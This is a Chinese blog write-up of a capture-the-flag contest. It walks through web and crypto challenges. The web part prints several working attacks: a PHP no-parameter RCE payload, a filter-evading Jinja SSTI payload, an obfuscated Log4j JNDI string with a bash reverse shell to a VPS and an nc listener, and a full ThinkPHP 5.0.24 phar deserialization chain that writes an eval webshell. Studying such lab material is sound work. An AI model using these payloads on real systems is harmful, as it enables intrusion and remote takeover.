长安“战疫”网络安全卫士守护赛

这次的长安“战疫”搞得还挺大的,那么多大佬都来比赛了,我摸摸鱼就好...

Web

RCE_No_Para

看到这么短的审计就心慌,

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

这里第一个绕过

/[^\W]+\((?R)?\)/

使用了递归模式,这里的正则意思就是只能使用function()function1(function2()),也就是不能使用参数

因为是rce,所以我们就是要执行系统命令,但是传不进去参数,就想着从外边引入

无参数RCE

因为过滤了一部分字符,我们使用get_defined_vars()获得变量,然后reset()获得$_GET,再次reset()获得第一个GET变量,所以传参的时候第一个变量不能是code,然后eval()执行就好。

payload:

?cmd=system('cat flag.php');&code=eval(reset(reset(get_defined_vars())));

flask

到了页面说是需要登录,瞎试了一下传参,无果,源码里有这样一句话

if not request.full_path.endswith(".js?"):
            if not request.full_path.startswith("/login"):
                return redirect("login")

经过本地测试,发现可以绕过

http://24bacbc0.lxctf.net/admin?static.js?

成功进入admin页面,提示admin/?name=,然后使用/admin?name={{7*7}}&static.js?进行SSTI

经过测试发现过滤掉了一些字符

__	[	]	subclasses	args	value

我们使用十六进制或者unicode绕过

{{config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")('cat /flag')|attr("read")()}}&static.js?

__getitem__方法返回键对应值,attr过滤器获得类属性

Shiro?

试一下log4j2的洞呗,${jndi:ladp://nn2mmc.dnslog.cn/exp},发现被拦了

网上随便找个绕过${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nn2mmc.dnslog.cn/exp}

image-20220108140900901

成功回显,那这不就简单了吗?

在大师傅这里下载exphttps://github.com/welk1n/JNDI-Injection-Exploit

将下面反弹shell进行base64 编码

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

然后在vps开启服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编 码的反弹shell}|{base64,-d}|{bash,-i}" -A "vpsip"

然后再开一个终端进行监听端口

nc -lvp port

然后将payload发出去,成功反弹shell

image-20220108141340219

Flag配送中心

F12提示

<!--Powered by PHP 5.6.23 + fastcgi-->

直接googlephp5.6.23fastcgi漏洞

https://www.cnblogs.com/ahtoh/p/15428089.html

image-20220108171518416

vpsnc一下就获取到flag

tp

一开始以为没有源码,结果发现我眼睛白长了,那么几个大字就在首页访问upload 方法进行文件上传

?s=index/index/upload直接访问获得源码

一开始的foreach和下边的func()实现了变量覆盖,可以在本地测试一下更容易理清关系

<?php
function func(&$var){
    if(is_array($var)){
        foreach($var as $_k => $_v){
            $var[$_k] = func($_v);
        }
    }else{
        $var = addslashes($var);
    }
    return $var;
}
$q = ["a"=>["d"=>1], "b"=>"2"];
$w = ["c"=>"3"];
foreach (array($q,$w) as $request) {
    foreach($request as $k => $v) {
        ${$k} = func($v);
        //$_request[$_k] =  ${$_k};
    }
}
var_dump($a);

然后就是中间的那一块

$file = @$FILES['file']["tmp_name"];
$filename = @$FILES['file']["name"].'.jpg';
move_uploaded_file($file,$filename);
if(preg_match("/ph/",$filename)){
    unlink($filename);
    die("noPHP");
}

这里实现了文件上传的功能,如果匹配到了ph就立刻删除文件,删除用到了unlink()

unlink()可以触发phar://伪协议,再加上又是tp5的框架,不难想到是反序列化攻击

网上先随便找个链子生成phar文件,先是找了个rce的链子,但是不行,就换了另一条。

exp:

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    use think\cache\driver\Memcached;
    class Windows{
        private $files = [];
        public function __construct($path,$data)
        {
            $this->files = [new Pivot($path,$data)];
        }
    }
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($path,$data)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($path,$data);
            $this->parent = new \think\console\Output($path,$data);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($path,$data)
        {
            $this->selfRelation = false;
            $this->query = new Query($path,$data);
            $this->bindAttr = ['a'.$data];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($path,$data)
        {
            $this->model = new Output($path,$data);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($path,$data)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($path,$data);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\File;
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($path,$data)
        {
            $this->handler = new Memcached($path,$data);
        }
    }
}
namespace think\cache\driver{
    class Memcached
    {
        protected $handler;
        protected $tag;
        protected $options = [];
        public function __construct($path,$data)
        {
            $this->options = ['prefix'   => ''];
            $this->handler = new File($path,$data);
            $this->tag = true;
        }
    }
}
namespace think\cache\driver{
    class File
    {
        protected $options = [];
        protected $tag;
        public function __construct($path,$data)
        {
            $this->tag = false;
            $this->options = [
                'expire'        => 0,
                'cache_subdir'  => false,
                'prefix'        => '',
                'path'          => $path,
                'data_compress' => false,
            ];
        }
    }
}
namespace {
    use think\process\pipes\Windows;

    $data = base64_encode('<?php phpinfo();eval($_POST["a"]);?>');
    echo "tp5.0.24 write file pop Chain\n";
    echo "The '=' cannot exist in the data,please check:".$data."\n";
    $path = 'php://filter/convert.base64-decode/resource=/var/www/html/public/';
    $o = new Windows($path,$data);
    echo base64_encode(serialize($o));
    echo "\n";
    echo 'filename:'.md5('tag_'.md5(true)).'.php';

    $phar = new \Phar("aaa.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
}

exp这里需要注意的一点是,$data那里经过base64_encode后不能存在=,否则就无法写入成功写入文件

接下来我们就想办法如何触发phar://,这里用到了变量覆盖,我们先把文件传上去

image-20220108202503856

然后在使用变量覆盖触发phar://

image-20220108202526628

然后直接访问public/3b58a9545013e88c7186db11bb158c44.php,就getshell

image-20220108202608688

Crypto

web做累了,看一看密码,就剩半小时了,看个解出来人最多的吧

no_cry_no_can

from Crypto.Util.number import*
from secret import flag,key

assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
    block_len = len(flag) // len(key) + 1
    new_key = key * block_len
    return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag,key)
print(c)

# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

分析一下,可以通过已知的flag推出key,所以就简单了,改几个参数就好了

from Crypto.Util.number import*

key = bytes([95, 17, 50, 255, 97])
flag = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

def can_encrypt(flag,key):
    block_len = len(flag) // 5 + 1
    new_key = key * block_len
    return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag, key)
print(c)

这个key是通过前五位直接反推出来的,new_key就是key的多次重复

posted @ 2023-01-08 23:30  seizer-zyx  阅读(61)  评论(0编辑  收藏  举报